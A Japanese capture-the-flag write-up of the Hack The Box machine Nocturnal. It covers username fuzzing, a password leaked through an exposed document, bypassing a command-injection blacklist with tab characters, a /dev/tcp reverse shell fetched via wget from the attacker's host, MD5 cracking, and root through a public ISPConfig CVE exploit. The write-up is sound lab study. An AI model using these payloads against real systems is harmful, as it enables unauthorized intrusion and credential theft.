😗

Nocturnal HTB WriteUp

に公開

今回はHack the BoxのEasyマシンNocturnalのWriteUpです!

偵察

nmap

nmap -sCV 10.10.11.64
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-09-02 20:20 JST
Nmap scan report for 10.10.11.64
Host is up (0.25s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 20:26:88:70:08:51:ee:de:3a:a6:20:41:87:96:25:17 (RSA)
|   256 4f:80:05:33:a6:d4:22:64:e9:ed:14:e3:12:bc:96:f1 (ECDSA)
|_  256 d9:88:1f:68:43:8e:d4:2a:52:fc:f0:66:d4:b9:ee:6b (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://nocturnal.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 47.01 seconds

22番と80番を確認
ブラウザでアクセスするために/etc/hosts10.10.11.64 nocturnal.htbを追加

gobuster

いつもの流れで一応実行

gobuster dir -u http://nocturnal.htb -w /usr/share/dirb/wordlists/common.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://nocturnal.htb
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/dirb/wordlists/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/admin.php            (Status: 302) [Size: 0] [--> login.php]
/backups              (Status: 301) [Size: 178] [--> http://nocturnal.htb/backups/]
/index.php            (Status: 200) [Size: 1524]
/uploads              (Status: 403) [Size: 162]
Progress: 4614 / 4615 (99.98%)
===============================================================
Finished
==============================================================

サイトにアクセス

Excel, Word, PDFファイルをアップロードできるサイト。
registerのリンクがあるのでUsername a, Password aで登録、ログインをした。


適当にPDFをアップロードしてみる。
ダウンロードもできるので、そのときのURLを確認。
http://nocturnal.htb/view.php?username=a&file=Upgrade_Notice.pdf

リンクの中にusername=aがあり、先ほど登録したものが見られる。
username=testに変更してアクセス。
User not foundが表示された。testは存在しないからアクセスできないだけで、存在するUserの場合アクセスできそう。

ファジング

usernameに関してffufを利用してファジングを行う。
ここでログインしたユーザーしか見られないページやディレクトリを探す場合、Cookieがないとサーバーはあなたを「部外者」と判断し、ログインページに追い返してしまい、302リダイレクトの原因になることが多い。Cookieをリクエストに含めることで、ffufは「正当なログイン済みユーザー」として振る舞うことができ、 隠されたページや機能を発見できる可能性が上がる。
サイト上でデバッカーツールでStorage、Cookiesの項目で確認

ファジングはseclistsのnames.txtを利用。

ffuf -u 'http://nocturnal.htb/view.php?username=FUZZ&file=Upgrade_Notice.pdf' -w /usr/share/wordlists/seclists/Usernames/Names/names.txt -H  'Cookie:PHPSESSID=pl7l586097scqp4n6b291iqt0s' -t 150 -fs 2985 -mc 200


admin/amanda/tobiasが見つかった。

見つかったユーザにアクセス

admin, tobiasでは特に何もなかった

amandaでは1つアップロードされたファイルprivacy.odtがあった。

ダウンロードしてLibreOfficeで開いてみる。
このファイルにパスワードarHkG7HAI68X8s1Jが含まれていた。

パスワードが変更されてない可能性も考えてこのパスワードでログイン画面からログイン。

左上にGo to Admin Panelがあるので、アクセスしてみる。admin.phpにアクセスできた。下のほうにCreate Buckupがあったので、パスワードを設定して実行した。様々なファイルがダウンロードできた。


ダウンロードしたadmin.phpのソースコードを読んで脆弱な部分がないかを調べる。
ユーザーが入力した$passwordを直接含んだOSコマンドをproc_open()で実行していた。OSコマンドインジェクションを狙う絶好のポイントを見つけた。

if (isset($_POST['backup']) && !empty($_POST['password'])) {
    $password = cleanEntry($_POST['password']);
    $backupFile = "backups/backup_" . date('Y-m-d') . ".zip";

    if ($password === false) {
        echo "<div class='error-message'>Error: Try another password.</div>";
    } else {
        $logFile = '/tmp/backup_' . uniqid() . '.log';
       
        $command = "zip -x './backups/*' -r -P " . $password . " " . $backupFile . " .  > " . $logFile . " 2>&1 &";
        
        $descriptor_spec = [
            0 => ["pipe", "r"], // stdin
            1 => ["file", $logFile, "w"], // stdout
            2 => ["file", $logFile, "w"], // stderr
        ];

        $process = proc_open($command, $descriptor_spec, $pipes);
        if (is_resource($process)) {
            proc_close($process);
        }
...

開発者はこの危険性を認識しており、cleanEntry()という関数で対策しようとしている。
この関数は「禁止リスト(ブラックリスト)」方式です。: や &、スペース文字など、コマンドを区切る典型的な文字を禁止していた。
このリストをよく見ると、多くのコマンド区切り文字が禁止されている。スペースも禁止されているため、ls -la のようなコマンドは直接入力できない。
しかし、タブ(\t, %09)や改行(\n, %0a)は、cleanEntry()をバイパスできる。

function cleanEntry($entry) {
    $blacklist_chars = [';', '&', '|', '$', ' ', '`', '{', '}', '&&'];

    foreach ($blacklist_chars as $char) {
        if (strpos($entry, $char) !== false) {
            return false; // Malicious input detected
        }
    }

    return htmlspecialchars($entry, ENT_QUOTES, 'UTF-8');
}

リバースシェル

サイトに悪意ある.shファイルをアップロードし、実行してシェルを奪取していく。
まず、悪意ある.shファイルを作成。

echo "bash -c 'bash -i >& /dev/tcp/10.10.16.3/9001 0>&1'" > shell.sh

作成したshell.shがあるディレクトリでpython3 -m http.server 8000を実行。
passwordに悪意あるコマンドを入れるためにBurp Suiteを起動。
パスワードを入れるところに

bash%09-c%09"wget%09http://10.10.16.3:8000/shell.sh"

を入力し、Forward。アップロードすることができた。


リバースシェルを行うために、端末上でnc -lvnp 9001を実行し、受付先をつくる。
続いてshell.shの実行を行う。先ほど同様にパスワードを入力するところに

bash%09-c%09"bash%09shell.sh"

を入力し、Forward。

探索

シェルを取得後、認証情報の探索を行う。lsを実行するとnocturnal_databaseというディレクトリがあった。そして、その中にはnocturnal_database.dbというデータベースファイルを発見した。sqlite3でデータベースのテーブル情報を取得すると、usersというテーブルが含まれているので、その中身を確認した。

tobias|55c82b1ccd55ab219b3b109b07d5061dからjohnを用いてパスワードを解読。
パスワードがslowmotionapocalypseであることが分かった。

echo 55c82b1ccd55ab219b3b109b07d5061d > hash.txt
sudo john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt --format=Raw-md5

user flag

tobias/slowmotionapocalypseでssh。ユーザフラグを取得できた。

root flag

サーバーのネットワーク状態を確認する。ローカル(127.0.0.1)起動しているプロセスが確認できた。

  1. 3306番ポートは、MySQLデータベースサーバーがデフォルトで使用するTCP/IPポート
  2. 587番ポートは、電子メールの送信に使用される通信プロトコルであるSMTP(Simple Mail Transfer Protocol)の標準ポートの1つ
  3. 8080番ポートは、インターネット通信においてHTTPプロトコルの代替として使用されるポート番号
  4. 25番ポートは、インターネットで電子メールを送信する際に使われる
  5. 33060番ポートは、MySQL X Protocol。MySQL Shellなどが利用するプロトコル用のポート
    この中で、重要そうなのは8080番ポート。
tobias@nocturnal:~$ netstat -tulpn
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:587           0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:8080          0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:25            0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:33060         0.0.0.0:*               LISTEN      -                   
tcp6       0      0 :::22                   :::*                    LISTEN      -                   
udp        0      0 127.0.0.53:53           0.0.0.0:*                           -                   

ポートフォワーディングを行いアクセス。

ssh tobias@nocturnal.htb -L 8000:127.0.0.1:8080


ISPConfigは、Linux用のオープンソースのホスティングコントロールパネル。
ユーザー名はadmin、パスワードについては同じパスワードslowmotionapocalypseを使用することで、ログインできた。

これに脆弱性があるかを調べるために、Helpを押してバージョンを確認。

ispconfig 3.2.10p1 cveで検索すると、CVE-2023-46818がヒット。
https://github.com/ajdumanhug/CVE-2023-46818
exploitがGithubにあったので、それの指示に従い実行。root権限を得ることができた。

Discussion